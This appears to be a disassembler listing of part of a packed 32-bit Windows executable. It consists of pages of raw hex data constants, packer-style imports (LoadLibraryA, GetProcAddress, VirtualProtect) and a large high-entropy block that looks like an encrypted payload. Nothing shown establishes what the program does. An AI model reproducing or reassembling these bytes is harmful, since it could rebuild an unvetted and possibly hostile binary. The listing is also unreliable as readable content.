		dd 8AE60535h, 0BA4E1D0Dh, 1A470315h, 281C1DCDh,	5C1B8FAh
		dd 7F384BF3h, 1E1F0F13h, 0D3166811h, 21ABA11h, 0FF0A2504h
		dd 1D001110h, 0D417FFC0h, 183412E4h, 6020A40Eh,	6E0F1D02h
		dd 8B1B1C18h, 10351CDBh, 71DAA0Ch, 78065119h, 8F0514D8h
		dd 8D95246h, 4D651F0Bh,	75F1EC00h, 391F1Ah, 7D18091Eh
		dd 0B306FA18h, 110FEC16h, 1CB815E5h, 1C51203Bh,	1A2FB912h
		dd 0B0F020Dh, 1A1204A4h, 197A1518h, 1C0502B0h, 0B0A1A98h
		dd 0A7040Ah, 17121065h,	27001A4Fh, 0C30FF4AEh, 1B16065Eh
		dd 3039820h, 7AE1C0Dh, 3115AE1h, 2FED1E6Bh, 5012206h, 0DB461270h
		dd 12F5CB01h, 6ED80F7Dh, 63C40305h, 3E4C5AE6h, 1E174501h
		dd 1801101Eh, 0FDE21900h, 131FE109h, 101799F2h,	1ABDCF0Bh
		dd 10451FD4h, 51081ECFh, 1B721C05h, 3CAAECCh, 0CAD9030Eh
		dd 7B150FB9h, 3201C1Fh,	0B808FD0Ch, 10B0A20h, 5EB711FEh
		dd 13C90213h, 6BFAC03h,	870B9C92h, 1C9E20F8h, 1B040C23h
		dd 42D60D26h, 0CD0C0719h, 7FB1730h, 16151EE9h, 80F0FDDh
		dd 175A1A0Ah, 1D1C061Dh, 0C43E0B20h, 1F7A1C14h,	180217A4h
		dd 81D0E11h, 3120D3Bh, 1010817h, 16EF01FEh, 5F040B30h
		dd 1D19BB65h, 0C670219h, 7705961Ah, 0D450A0Eh, 0F0BAFFDh
		dd 1012EF77h, 0B717D7A6h, 1103B33Ch, 6C02091Eh,	1B5B0025h
		dd 1D15029Bh, 75B6820Ah, 1C1C12F6h, 40B8E92h, 270A6CA2h
		dd 900123Ch, 10201053h,	1019170Ah, 91BE3B8h, 117C110Bh
		dd 0F30A0B1Eh, 6CEC283h, 2143404h, 29D2631Bh, 0D0D9701Eh
		dd 3230A1Bh, 0EA533FDFh, 1A351915h, 72E803FEh, 101699CFh
		dd 0B41C15B2h, 80FABDFh, 4190BF00h, 1A82EF0Ah, 1F1A606Ah
		dd 0E093C05h, 0E6F6EA33h, 2C05D271h, 5FC3081Bh,	1CD70604h
		dd 1FEF8F6Eh, 1100DA75h, 164BBC18h, 1DFCD7AFh, 90B0B3Ah
		dd 0D0EA114h, 201A0113h, 88F1187h, 0FB330CD0h, 0A4E72A0Dh
		dd 1DB15802h, 0C1E05C0h, 69174147h, 0A4CB0742h,	3AFC375h
		dd 2 dup(0)
		dd 3AF8500h, 3AFD300h, 5 dup(0)
		dd 72654B00h, 336C656Eh, 6C642E32h, 0DF006Ch, 64616F4Ch
		dd 7262694Ch, 41797261h, 47005300h, 72507465h, 6441636Fh
		dd 73657264h, 3790073h,	74726956h, 506C6175h, 65746F72h
		dd 92007463h, 0A10003AFh, 0B20003AFh, 3AFh
		db 3 dup(0)
dword_43AFD3	dd 77E805D8h		; DATA XREF: start+212r
dword_43AFD7	dd 77E7A5FDh		; DATA XREF: start+241r
dword_43AFDB	dd 77E6169Ah		; DATA XREF: start+26Ar
		align 10h
		dd 3B000000h, 0FE097215h, 16D90DA4h, 0C190BCC2h, 0C3FD023Dh
		dd 0A9D9C60Ch, 0D9045514h, 0E5E72EEEh
_rdata		ends

; Section 3. (virtual address 0003B000)
; Virtual size			: 0002A000 ( 172032.)
; Section size in file		: 0002A000 ( 172032.)
; Offset to raw	data for section: 0003B000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_data		segment	para public 'DATA' use32
		assume cs:_data
		;org 43B000h
byte_43B000	db 0CBh			; DATA XREF: sub_43A02C+42r
					; sub_43A02C+A7r
		db 0F7h, 0E5h, 4Dh
		dd 0E5ADE704h, 0C47D6BE7h, 0E7A52DF0h, 0F38461E5h, 0EAF707ADh
		dd 0ADD0C741h, 796BE7D9h, 0E76DD247h, 4471ED91h, 0D7E52DD9h
		dd 0ED04712Ah, 21C786EDh, 2DE2C555h, 7523E764h,	14FCE687h
		dd 6141A5D7h, 0E7B66DAEh, 0E3C749AAh, 0A3E7722Dh, 0EDE8C741h
		dd 6D69BDE8h, 0E5EDE1C6h, 444C75D7h, 0F77FEDE5h, 0E1A151E5h
		dd 65F7FDF4h, 2DAB4141h, 556BF772h, 0BBC4F606h,	8565A7E7h
		dd 0D7E4ADD7h, 0F5C4616Dh, 2DF715EDh, 0FCAE4065h, 5929F7DFh
		dd 1A2DDA06h, 0C475AAC7h, 0F7E7EDC1h, 0E20475E5h, 6BE770EDh
		dd 0FCF60555h, 4037C7B3h, 0A52DA201h, 416962E7h, 0E74E2D8Ch
		dd 48607833h, 0B2A5FE2Dh, 0A4DC85F3h, 49A0B16Bh, 0B12DC9C7h
		dd 5E875C7h, 0F71A2DD3h, 0F58775A4h, 6381256Dh,	6DE8C579h
		dd 616AE7B6h, 0E4ADCD84h, 6141E4E7h, 0A149ADB5h, 0A0037122h
		dd 0A2E7D56Dh, 6DEF8559h, 41ADA10Bh, 0B46DE8C6h, 4756AE7h
		dd 0C726EDF0h, 0B1A26D2Eh, 0E1E748EDh, 0ADD1C751h, 4DE8E7B1h
		dd 91EDEDC7h, 4659A2B1h, 0D7586DE0h, 0AD23EC74h, 6D93886Dh
		dd 0FCCB0665h, 4DE9D797h, 0F3EDE644h, 434DE9D7h, 0E7DE6DA4h
		dd 0A80175ACh, 23E7846Dh, 0ADB54055h, 6B45E714h, 0C27457EDh
		dd 0C768BEF7h, 0E7FA6DD8h, 0D0C56C33h, 4C766ADh, 0BCC904E4h
		dd 4D6EE7A4h, 0F5EDF506h, 469E5E7h, 0E74FF7C8h,	0CD8464C6h
		dd 0E1F7F4ADh, 0FFF2C469h, 6CBEF7C1h, 0DBC79923h, 444DA081h
		dd 8DAAEDFDh, 0D004F0B2h, 0A9A3E06Dh, 0FCCBC555h, 4525A19Bh
		dd 0A6EDFD44h, 46C406C7h, 0E7D0ADFBh, 0AB23E475h, 0E0F7DAF4h
		dd 6DA5236Dh, 4D6B9388h, 0B46DEE45h, 0C7492BE7h, 0F7E5F4CFh
		dd 0C1C4716Dh, 0E9E7292Dh, 2DE6C465h, 45A3F707h, 8577E346h
		dd 467522F7h, 0A1AFEDF2h, 0F0C559E9h, 61E7D56Dh, 0EDEC4571h
		dd 65A5C7D5h, 0A4EDE0C5h, 0C7E4C6F7h, 0F70534D6h, 0DA065521h
		dd 6BA16E2Dh, 0BFCE847Dh, 45E563B6h, 4F6DE544h,	0C5D781E7h
		dd 8D996DF7h, 0B5236DA0h, 0AA538AEDh, 0EDFE8645h, 59E7D7D5h
		dd 0B0ADB68Ch, 86456BE3h, 0F729BCC9h, 0E005492Bh, 61D7F82Dh
		dd 0ADCD8471h, 4121C72Dh, 0A1AD8D61h, 0E2EC75E7h, 7D8AAD45h
		dd 0D8845524h, 89F7AA47h, 378523E7h, 7C8ED7FBh,	1AADF084h
		dd 0EE65E8D7h, 0B3572D72h, 956E65E4h, 0A07308ADh, 34A6E9C4h
		dd 0D4873366h, 90AD50C9h, 84D88DC7h, 0D7B2ADFBh, 0A3EF4160h
		dd 0AAD71F2Dh, 0EDA9ED61h, 0C0B243DFh, 2B74556Dh, 0C559A9C7h
		dd 0E7C36DE1h, 0D784684Bh, 0A07D5E37h, 0ADF38479h, 69E7E7FFh
		dd 0A734E66Eh, 2E752731h, 0D7FDB670h, 0B0EEEFD5h, 0E069DB2Dh
		dd 0B4D5C741h, 0FF15F7E3h, 0DFADA1E8h, 0C444CE53h, 0E71AC6E6h
		dd 0C54575A2h, 5513B9EDh, 2DDA855Eh, 0F0DCC7C8h, 0ABAD2FEBh
		dd 21D8552Dh, 0C776F79Fh, 8123E65Fh, 0CED7D4D6h, 66E90544h
		dd 6CDD35C0h, 9FCD146h,	0F79E663h, 31B9BFB6h, 0AEE87F14h
		dd 0A729D22Dh, 86DF6A69h, 0E4F2E786h, 0DFADF585h, 57564D7h
		dd 0F7A57EE3h, 0E507DCF1h, 2263A4F5h, 0EDC14575h, 5124C7DFh
		dd 0E2AD8DD5h, 84C8ED7h, 7374EDB1h, 818B580Eh, 0FA53DFEDh
		dd 0EDF446C4h, 6472C7C9h, 0CD34E6C4h, 9416721h,	0E2A6AD61h
		dd 0CBC4E44Ah, 0CED710C1h, 0EDE7C458h, 792E81AFh, 0EC466A6Eh
		dd 44C71FC7h, 0E765ADFCh, 1E54E875h, 0E0E7A046h, 0ED9C0F51h
		dd 75E42181h, 6DEDC904h, 88E67DEh, 0E264EDB5h, 95F54D24h
		dd 26F70E6Dh, 0ED85D53Fh, 0C4DCB115h, 5D2DCD85h, 6141E6D7h
		dd 0C7642D8Eh, 0F7C4D4FEh, 9869DB89h, 2DDDC7F2h, 0E448F15Ah
		dd 0C4EDDCC6h, 437A1E7h, 0E7F1EDEFh, 0F5444DE0h, 0E81FC1EDh
		dd 0F6CA8459h, 55EDF772h, 153F8DACh, 0C67D6EE7h, 8325ADD9h
		dd 0ED866160h, 6D61A5F4h, 0ED56E841h, 0C0A0C713h, 0D3ADF8C7h
		dd 0C694F5F7h, 0F7D1F0E4h, 0CD86B4F5h, 45EEA0ADh, 34A6D6C0h
		dd 6125E7B8h, 0A0778DF1h, 0F51A3E7h, 0D77FD0B7h, 88F54DA7h
		dd 75E7C8ADh, 0EDD0C7C8h, 41607DD8h, 0A5ADF684h, 9141E01Fh
		dd 1BA6DADh, 0B53149A8h, 0F99C6AEDh, 6DEE86FCh,	69A0D7DBh
		dd 9F4625EEh, 5B3A6F7h,	0D73107CBh, 0CDC78876h,	0A880B03Fh
		dd 2D956F7Dh, 45EDD71Ah, 52DDA06h, 45D6B61h, 0F71AEDC8h
		dd 0E40665A1h, 63E7D9B8h, 90CBC77Dh, 7163C731h,	0C6C8E845h
		dd 705DE5BAh, 0F7DFB719h, 99F36166h, 73C711ADh,	6DA8F0B9h
		dd 492AC7F7h, 872DEE05h, 0C598B2F7h, 0CCDB6DE9h, 0DA86D48Fh
		dd 0A1F7AF2Dh, 60E68655h, 6DA79807h, 4200FDB3h,	90A1738Ah
		dd 0C7252DADh, 952C94B9h, 21E7862Dh, 6DA8B35Dh,	49E5F7F1h
		dd 0CA2DF405h, 84B0F590h, 0D7262DC9h, 0EC45712Dh, 2BA16386h
		dd 34F6F379h, 474E7C7h,	236DACBDh, 0F1616964h, 0A0A52D8Dh
		dd 0CB4645ABh, 77F725ADh, 0AD93E2CCh, 0D402E735h, 0D56DE6C6h
		dd 0EF69A5E7h, 0D71F2D85h, 852C55E5h, 62E7052Dh, 0B4F98575h
		dd 0EC02D765h, 0DFFB8777h, 76129C7h, 0B157F4EDh, 0F304B476h
		dd 0ABA0C5EDh, 0B3ECC769h, 4C6E7E2h, 2BEDD046h,	46B47F62h
		dd 0D791ADD7h, 0E2C5796Bh, 4BA0FA2Dh, 0F387ED7Ch, 4D67E77Fh
		dd 4EAD85F5h, 0F6BEC3E7h, 0B3E86DABh, 0A33D7566h, 0C77C4231h
		dd 7F92231Ch, 49A092AEh, 0B98B87B4h, 6B7CFD7h, 7C8F6DCCh
		dd 0F87F5D60h, 0AB6C0DADh, 0AD601F55h, 6D61744Eh, 2E8B3C91h
		dd 5A90FC7h, 0F786C3C4h, 4DED412Dh, 60D7E02Dh, 0FB15CD38h
		dd 55A1F754h, 0DFEDE406h, 94496FD7h, 817570AAh,	0F8C7074Ah
		dd 4650A8F0h, 0B79BF324h, 716651BAh, 262DFDC4h,	865D2DC7h
		dd 929A39ECh, 0DAF3B831h, 6DB28A2Dh, 39EC0459h,	6121BD63h
		dd 602D893Ch, 3C61A2FCh, 816BED8Ch, 0EDC47377h,	6011AEEDh
		dd 0BCC32161h, 4DA3418Ch, 626DA621h, 0F1512A91h, 23C1B9BEh
		dd 0E3C75125h, 0F7E0A7ADh, 7BD9C6F4h, 5165D7DFh, 3B6DAE97h
		dd 0C7404013h, 0D7E16DE3h, 0F8460460h, 0F6F7F0EDh, 0EDAD001Ch
		dd 55ED9D8Fh, 31EDD546h, 75DA0C7h, 0C785ADE5h, 0CB84F806h
		dd 6AF707F4h, 6DC14645h, 5D2D1CCCh, 2B3158BBh, 85D055F7h
		dd 93886DE1h, 0F8454DA2h, 0E9F72BB4h, 0EDC10469h, 716BE7FFh
		dd 0FF66C79h, 0FA612241h, 0C7D97FE7h, 0F505C88Dh, 0EBD7792Dh
		dd 0EDE00479h, 0ACB2F7ABh, 0DF2DF904h, 64D29E7h, 6105FFEEh
		dd 0E3B07DAAh, 18E78BB6h, 0FCADA14Fh, 8F27C7E0h, 0D134B6A1h
		dd 79C65C7h, 0B03877CDh, 0DD0645A3h, 16B3ACF8h,	0FB9B4EC4h
		dd 0F402E73Ah, 0DA8BE086h, 85444FC7h, 634522E4h, 923A700Dh
		dd 0E2C72FADh, 0EDDCC571h, 4D6BE7B6h, 0D802C7BAh, 0E05DE0D7h
		dd 3419BBEDh, 0D746E4F3h, 8F90DAADh, 0ADDCC7E8h, 45657E71h
		dd 0A7ADA299h, 4645E0F0h, 93656DF0h, 0ED444440h, 73F7216Dh
		dd 2D9DF3E7h, 5D2A603Fh, 59F4935Ch, 63978CD7h, 0F747AD97h
		dd 0C7844774h, 0B6C7B8C0h, 0BCF607C0h, 0C47A227Ch, 0DFC2E544h
		dd 476DEEC7h, 0F7F88BC5h, 898B6525h, 6BA39C34h,	39ECC761h
		dd 78C002B9h, 0E3ADE3C6h, 817525D7h, 83FFF2B7h,	0A4714D63h
		dd 6DD7E142h, 2DCDC65Dh, 78B4E719h, 59B2787Bh, 0C7737A85h
		dd 939C84CDh, 0D0446445h, 0B45F21C1h, 0F39CA3F0h, 5D6FFEDFh
		dd 96ED6776h, 84E076F7h, 0C70772D6h, 9C3B8C11h,	0A9D7072Dh
		dd 0ADC0C741h, 4961D0ABh, 0AB2D4222h, 0A965ADA3h, 0E7BC72BDh
		dd 93A1452Ah, 6DD7E4ADh, 0F7C9C479h, 65A5E73Ah,	0DFB6F184h
		dd 0C57967D7h, 0E774BCF1h, 0BA78E007h, 537361ADh, 0FFB0A22Eh
		dd 0FD053B1h, 0E334BC0Dh
		dd 214129E7h, 0F79F2DA9h, 6D2D6128h, 0ADF7E4ADh, 0ADD0C641h
		dd 0E070F725h, 0E7ADA529h, 0C66167D7h, 0F7E2ADCFh, 0D284416Ch
		dd 0E9D79B2Dh, 0B5B35B51h, 556BA031h, 30C9D045h, 86716B61h
		dd 11F43FF2h, 0E88569E2h, 2A9180BAh, 0B7F60479h, 41A9C7DFh
		dd 796DAC01h, 85616B51h, 92B5BFD4h, 0ED849011h,	0E481EFEDh
		dd 0ADBE0141h, 6C8433AEh, 0E6B4A5CEh, 0ACF401D7h, 0F7E7AD98h
		dd 0F1C47966h, 68F707EDh, 0EDE00469h, 6528E7DFh, 38BCEB47h
		dd 0E9C0D4D7h, 0F7D9ED8Eh, 0F5047166h, 1E739EDh, 0ED9E69BCh
		dd 496DD712h, 0E3ADD0C6h, 0C5E8C5D7h, 0F7DF76F2h, 7F3859A5h
		dd 0C112EF0h, 0FCDC0640h, 7DE1E71Fh, 382D8D4Ah,	4C7CF0D7h
		dd 0D705ED91h, 0F5854522h, 82E7A474h, 6DA6FC48h, 69A5E714h
		dd 0B3ADDEC7h, 8859E11Fh, 1FE6DA8h, 0F3C5D47Dh,	6AF725ADh
		dd 0F4CD8479h, 6038E7DDh, 17349743h, 45696BE7h,	0D7070CE8h
		dd 0E48449E9h, 59C7E6F6h, 2D946D57h, 516FF003h,	2A418215h
		dd 45FC0521h, 6DE0FCDCh, 0B3B54DEDh, 67F7F8CFh,	0ADDBC769h
		dd 69E713B3h, 4176D7C7h, 0C5B49D01h, 0C7EBB7F1h, 0E2C55DA2h
		dd 0AD13BBC7h, 37062851h, 5D2FF750h, 4DADBA8Bh,	7C5BA19h
		dd 200F4ECFh, 472FF50Fh, 0FA454BF6h, 6DB1AEE0h,	0F035935Eh
		dd 0FBEDE104h, 0C5596BD0h, 51CB7AF0h, 0DEC575A1h, 0DF415657h
		dd 6AA8EDFh, 4876F1DFh,	0E22DD344h, 479E5D7h, 0F715B7D5h
		dd 0D305696Dh, 70735406h, 0B7DA0644h, 0D8CDA1B4h, 63EDA92Ch
		dd 0C665E6C0h, 0F715ADFAh, 0EC0659EDh, 0A7E741ADh, 0ADD3C541h
		dd 596BF7A4h, 0AA6DCC85h, 85552AD2h, 0C7E337C6h, 0DDC56854h
		dd 0A0E7B32Dh, 0EDE9041Eh, 61E5F7C9h, 146DAE74h, 4F43511h
		dd 517EEDF7h, 0E0C4F87Bh, 393BFEDh, 6BAE0C8h, 3F92F7B3h
		dd 4D36DD44h, 0EEE0DCC0h, 0A1A33F7Eh, 0BFA141A4h, 41316A31h
		dd 0B4A597F0h, 6563D7E1h, 8DEDF9C6h, 0C569E4A1h, 21A5F6ECh
		dd 69E975E4h, 5C41F0CEh, 0BAF887E8h, 4924437Ch,	14B6790Bh
		dd 0EA781301h, 0E72FFE98h, 0A922ACB0h, 3BC765F7h, 0EDD24648h
		dd 0EB9FBD20h, 0ACBF43A1h, 7699ABD7h, 91EF36FEh, 0DB4761E6h
		dd 0A2A8248Eh, 75ACD59h, 6B152E0Fh, 7AED9C22h, 897DA4E7h
		dd 0C7426D86h, 0F1C47C31h, 0A9D72FEDh, 0EDA9795Dh, 0D4B501EFh
		dd 0BA6DE6C5h, 4FCDCC7h, 0D731EDD8h, 0CC845D6Dh, 0E4E71BB7h
		dd 0ADEBC751h, 8898C7E4h, 1FEDF4C7h, 86E0FCC7h,	0F733B8C8h
		dd 0EC45CBFCh, 0A8D725F6h, 0ADF0C569h, 6DE0E7E6h, 16EDE684h
		dd 0C5C87CD7h, 0B8F06DC1h, 0B5632CF3h, 5A6327ADh, 0FFB7C2DCh
		dd 0C03DBC6Ah, 0B4F985A8h, 8575E1B1h, 0D7B7BEFEh, 0E1C6E310h
		dd 0A5E754EDh, 0C7B02141h, 68D941F0h, 5A2DDAC7h, 74C0FAD7h
		dd 0D7B82D8Dh, 0BDF014F0h, 0FBD739EDh, 0F6F604FCh, 0ECCBD756h
		dd 1FBCF647h, 0B6127F7h, 0C7F831B4h, 82B26564h,	0B0C7A0F6h
		dd 0AD96B42Ch, 65A99141h, 2774F084h, 651AF63h, 0F7E6F8E4h
		dd 0B18E49ADh, 0EC51E6B7h, 0BCBC8E75h, 6564D714h, 0D32D9274h
		dd 7C79AC7h, 4D746DFAh,	0DBC64124h, 0E7E7DEBEh,	0AD18CC59h
		dd 7040F7E1h, 0D0B2B517h, 477D6BE7h, 0ADEE2DDEh, 86C0C003h
		dd 552676Dh, 0F2D5C788h, 61AEF7C4h, 0F42D4D0Dh,	74077D7h
		dd 0E72F81C0h, 0EA054969h, 0A413602Dh, 8BFA4779h, 6877D7AEh
		dd 73B0FFC5h, 0C655ED50h, 0F715C7EAh, 8CE249E8h, 0E2D7179Bh
		dd 2DBEB549h, 45E59038h, 24BCEC86h, 42A02E7h, 83B7EDEEh
		dd 0BD19F06Ah, 28D7252Dh, 2DFE4449h, 45E0D7E2h,	822DF746h
		dd 0F9DC76F7h, 0B0B9C658h, 0A329DCDFh, 0A9E0B3F4h, 39856D98h
		dd 2081E297h, 70B6DC84h, 0C6B3C8E7h, 2DAAFBEFh,	0AC9EE492h
		dd 7CF2C871h, 0EDDC46C4h, 0E0165E90h, 0BBBBAC9Ch, 97A16DF0h
		dd 3D6B2DA0h, 0CF873C6Ch, 0D3DC426Dh, 73B91424h, 5D6DF0BBh
		dd 7A33E984h, 0C53460F7h, 0E7532DCCh, 811744B4h, 6CE7DFFAh
		dd 344E094Dh, 8314D7BFh, 266DE046h, 6D55214Dh, 92052DA4h
		dd 0D284484Eh, 4950B72Dh, 30D9C410h, 79E2D714h,	876DEE04h
		dd 3F716D90h, 0D7E46D68h, 0AEA465E4h, 6BE7576Dh, 0BCCD0779h
		dd 0E938Dh, 577A569h, 2F8B4892h, 0D783ADBCh, 0B516C40Eh
		dd 6551BB79h, 878FDD4Dh, 5520C7A5h, 0AC71B46Dh,	0B35DA8A1h
		dd 0F719FE84h, 0F605CC42h, 6B9169BCh, 3B94EE6Dh, 0B897C7B6h
		dd 0E7709EF6h, 0C645E5D7h, 11F8B2DCh, 0DDC661E5h, 0CF7B3CEh
		dd 3FC0864Fh, 0E094E2F9h, 12EDCE84h, 0EBB052F7h, 8DFFADA1h
		dd 5B2C98AEh, 0E99159F6h, 0EDF44645h, 0AB1F8331h, 0F02DDBC5h
		dd 46F47141h, 0A18DFCDCh, 612D4D24h, 0FD70683h,	67ADCFABh
		dd 0B4E873C1h, 2576F7ABh, 0C57DA991h, 0C7C0ADDDh, 17ADECB9h
		dd 81D77B36h, 3FC00648h, 3AB1F7B1h, 0B86DEC84h,	47F040D7h
		dd 4D7F7EF8h, 95AAC8D3h, 36D7E6B0h, 0BCE744D4h,	41A2C7DFh
		dd 44D4C506h, 0AFE0F555h, 0F71E6D5Dh, 9DC05D62h, 0C683716Dh
		dd 87B4C98Ch, 6929C705h, 512D9BFFh, 8C416AB0h, 0D7BA6DACh
		dd 0BBA8D4B2h, 0A7F71F74h, 2DF70569h, 0FC57F77Fh, 19B2C5C6h
		dd 0C4596DD7h, 207CEDFDh, 0C886612Bh, 0A03124ADh, 0EDDE4655h
		dd 6DE2D755h, 0F32D9B35h, 0C66D67D7h, 0D7D7EDDEh, 916859A2h
		dd 0B3C767EDh, 0EDA4EAFFh, 496F71DBh, 0B37EFB87h, 45796B50h
		dd 6296FAC1h, 0B54341E1h, 0E5420AADh, 6DF54645h, 0D4FAA39Ch
		dd 0CBADFC46h, 855965D7h, 6175ADE5h, 0F846C470h, 20F7077Ch
		dd 88C64655h, 7290D723h, 0ADBE8B75h, 84641671h,	0E76E73DCh
		dd 0B3CB240Eh, 29D707C4h, 0ADD44645h, 9A4BE75Bh, 326DECC6h
		dd 4B8A0C7h, 0C7DFEDFDh, 875C7120h, 5AAB6FE4h, 0F0CDC450h
		dd 45A0C758h, 352D8DA1h, 847C06F7h, 0F7B7B7DCh,	0B94F75A9h
		dd 33E7B974h, 0B0CA069Ch, 0A7F2C7B5h, 0D1B8D285h, 847566F7h
		dd 0C779F4D3h, 9A0C4DA4h, 61B1F4B8h, 32E88575h,	7D21E72Bh
		dd 8471BC21h, 0B4D88DE0h, 93E884A2h, 9221F087h,	0F5D0E71h
		dd 0ADCB4644h, 2469B36Fh, 0EFAD34B6h, 17C00171h, 0E7BE8262h
		dd 0EAC6C20Eh, 6BD7D9F9h, 86EEC549h, 0FFF4E750h, 2BEDF9C6h
		dd 470B6F7h, 0C7722DCAh, 0D6856F08h, 0F92A4F6h,	2D9F4B7Ch
		dd 1041C7DBh, 4EB72E4Eh, 8EE249ECh, 6FCA6D64h, 0A0AE5125h
		dd 6B659627h, 27F28761h, 49A2E7CBh, 1ABCEB04h, 8069A9E7h
		dd 815EB29Ch, 0B8A3CBB3h, 0C5834FB4h, 0ED548DF4h, 84993CEAh
		dd 0E1EDCD46h, 7E5D2A93h, 915E6DA6h, 0C04688DCh, 2BA1822Dh
		dd 0EDEC4649h, 4166713Eh, 60743B4Eh, 9AD03091h,	376ED81h
		dd 3061CDF7h, 667312C6h, 0AD91A35Dh, 51EDD7A3h,	97EDE944h
		dd 2ED49230h, 0E75E6D66h, 986C5924h, 1D23E7EDh,	2DC20470h
		dd 0BC363249h, 76B59EE8h, 0C85DE293h, 3970ED35h, 29A8D33Ch
		dd 0A2E7E676h, 0F4C74559h, 0D403D7E1h, 0DD47D987h, 4ED45201h
		dd 63A62D8Eh, 0D94753DDh, 0E42D4747h, 6D3DCB59h, 5B5CE715h
		dd 8CE4808Ah, 4616E2Dh,	0C76606F0h, 0B2287E11h,	76E7D9A6h
		dd 76544AD8h, 59252358h, 9AED9D6Ch, 0F5F49E0Fh,	0C7B74EE5h
		dd 0B40DB5E4h, 0E7D7E84Eh, 0E4C0C595h, 4163CEE8h, 2D6D4FE8h
		dd 0C7F3B3C2h, 0E7F82DECh, 99AE34AEh, 0F7E758EDh, 0F7EFE36Bh
		dd 7DA56103h, 5D2D4DA1h, 6165AAD7h, 0A0092D93h,	0D1C56165h
		dd 4FC767ADh, 2DFC46C7h, 0EBBBC78Ch, 8787BB13h,	0C74DE053h
		dd 0D7072DFCh, 0FD847D25h, 6DC7A134h, 6DEFC545h, 6DE8C711h
		dd 48EDEA46h, 0C5D44CD7h
		dd 0C760EDEDh, 0EFC5E8CDh, 6AF7052Dh, 0EDAD6259h, 59A4C7FAh
		dd 5EDE206h, 645E5E7h, 0D726ADD1h, 0D4C5796Dh, 67C7E76Dh
		dd 2DF7C64Dh, 24E9C71Fh, 0E26DED85h, 84885FE7h,	0C7B1CEF0h
		dd 0D284B06Ah, 73F766F4h, 0B2D08684h, 45EDD7A1h, 0B43ECF06h
		dd 45D6AE7h, 0C7C9EDE3h, 0E1C6A0B4h, 0E9C74777h, 0EDDEC749h
		dd 756D02BEh, 29EDF285h, 917169F7h, 0E76FEDABh,	0B0364569h
		dd 6B8070F8h, 2D9D616Dh, 716DA2A4h, 0FA2DDA84h,	0C75167D7h
		dd 0F7A5ADF2h, 0EF85696Dh, 0B4C7B26Dh, 36ABBF90h, 75A5E747h
		dd 36B083F0h, 866D699Eh, 0B2A02DC5h, 0CD86EC13h, 0E8E7672Dh
		dd 6DDBC559h, 7D6DF715h, 8777E1C5h, 845925C7h, 334CB0E0h
		dd 8D39EC30h, 6CE7262Dh, 0ADB2A165h, 61E0A160h,	222D8DB3h
		dd 2D65AFE7h, 7023ED75h, 0BAE5656Eh, 6DE760BBh,	0EDF5C575h
		dd 6166D7F5h, 58ADD7C6h, 0FE796DF7h, 2DA0F4A9h,	9513E87Ch
		dd 0AA233234h, 2D992265h, 0C0CD839Eh, 932D922Dh, 0C74DA0C7h
		dd 0A182EDE2h, 0E105452Ah, 0A2F769EDh, 70D1055Dh, 6966F7F5h
		dd 0D9F8DFC5h, 4565A283h, 0F7386DE8h, 0D4C5F474h, 35E7ACEDh
		dd 0B092E1A8h, 7D66C7E1h, 66ADD0C5h, 31492AD7h,	8128F3AAh
		dd 0DEC4FC3Bh, 0E2C725EDh, 34C84669h, 7966D7DBh, 0A7AD93B2h
		dd 6210B8C7h, 92112D99h, 0E4069405h, 22F785ADh,	2DDD0655h
		dd 49E242A4h, 0D334C847h, 0B2F47EB0h, 9D47ADBBh, 0FE058031h
		dd 50C72E47h, 0ADD9C748h, 656D90A2h, 47EDE184h,	54124E7h
		dd 0D7E96DEEh, 0DA05AC34h, 0A5E7F52Dh, 0ADDDC761h, 0C40091B7h
		dd 14EDA23Dh, 33B8C3D7h, 6343AD64h, 0F2046DA4h,	6091AC2Dh
		dd 6D9D8C5Dh, 0F7FCE711h, 0E12DE4C6h, 4655EDB1h, 0D7676DE1h
		dd 0C184FCF5h, 33210EB7h, 0ADCB04F0h, 65A5E7FFh, 846DA881h
		dd 5E79E2E7h, 0F71A3385h, 0F50745A4h, 0ED91356Dh, 2D9A2871h
		dd 4DEDE7FFh, 94AD8F41h, 4445E5D0h, 0E7C5FCCFh,	0A9E132CFh
		dd 6B615733h, 0B9C58649h, 70C8A129h, 816DD985h,	0BB40F1D7h
		dd 0C7912D8Dh, 48627DACh, 7FF730B6h, 36ABA180h,	4167A15Dh
		dd 0AFFCE605h, 6716B61h, 0E7DFB9C5h, 0AE5465EAh, 6BF7146Dh
		dd 0C2F2477Dh, 49AFE7A0h, 0D9ADB35Fh, 5F8B88B1h, 0E7A86DAEh
		dd 5DB97D2Fh, 0EBA1A42Dh, 0ADCF8465h, 94CFE7F5h, 0F1FFDB44h
		dd 58B45CC7h, 0D7DCAD98h, 0C3867D2Ah, 2EF785ADh, 0AD687941h
		dd 79A2E773h, 9F70D1C5h, 0C16DA3C7h, 0D7CF3488h, 0C5C569E0h
		dd 6AE70BCAh, 0ADB6414Dh, 5DA260CDh, 0A8D28926h, 98885620h
		dd 0A125AD60h, 0E70533D1h, 0AED726FCh, 0ADDFC771h, 0A4F612F2h
		dd 0DD2DE4C7h, 0C569E5D7h, 0F7072DDEh, 0F9C6452Ch, 0C4C78782h
		dd 0EDFB46C4h, 0E4B3429Dh, 7CEDE506h, 751EDD7h,	0A11C82D9h
		dd 0C2C6C4FAh, 0D773A5B6h, 0F7CD4507h, 92D3E7DEh, 252D8962h
		dd 856560E7h, 21389ADCh, 0CF45452Bh, 0B82089B4h, 30F10580h
		dd 59A8F779h, 226DAEDBh, 4596DD7h, 0F725EDE1h, 0F8467520h
		dd 6EE7BAB4h, 2DEF4645h, 0EB3AD780h, 0D5F7B610h, 626DA3E7h
		dd 2DF6D9Eh, 0B3BE14DEh, 28225DF4h, 2DE34645h, 745CE78Dh
		dd 0E02DA188h, 5456DF7h, 0E7AA6DEEh, 0A25F49E9h, 97E7D133h
		dd 6D906DB8h, 0F4472C47h, 0AD2DB239h, 86D5340Ch, 2C7DC4C1h
		dd 0DD047274h, 0B7D7316Dh, 6D9DA0C4h, 4178DAFh,	6BB4E286h
		dd 0C749A38Dh, 0F74B6DE0h, 9E6C74F7h, 6DE75AEDh, 2DCE4471h
		dd 59A1F7C7h, 0D933EFC5h, 855DA2C7h, 0B039F4EFh, 0E6066520h
		dd 6DC7D3EDh, 6DEFC569h, 6D6BD7B6h, 692DED86h, 0C7C473C7h
		dd 3C16EDE6h, 81BA7522h, 4E917D2Dh, 7B855C80h, 6C03E798h
		dd 24ED8A62h, 1374C683h, 0F7C46D2Dh, 65A37DA5h,	0ADF0EF00h
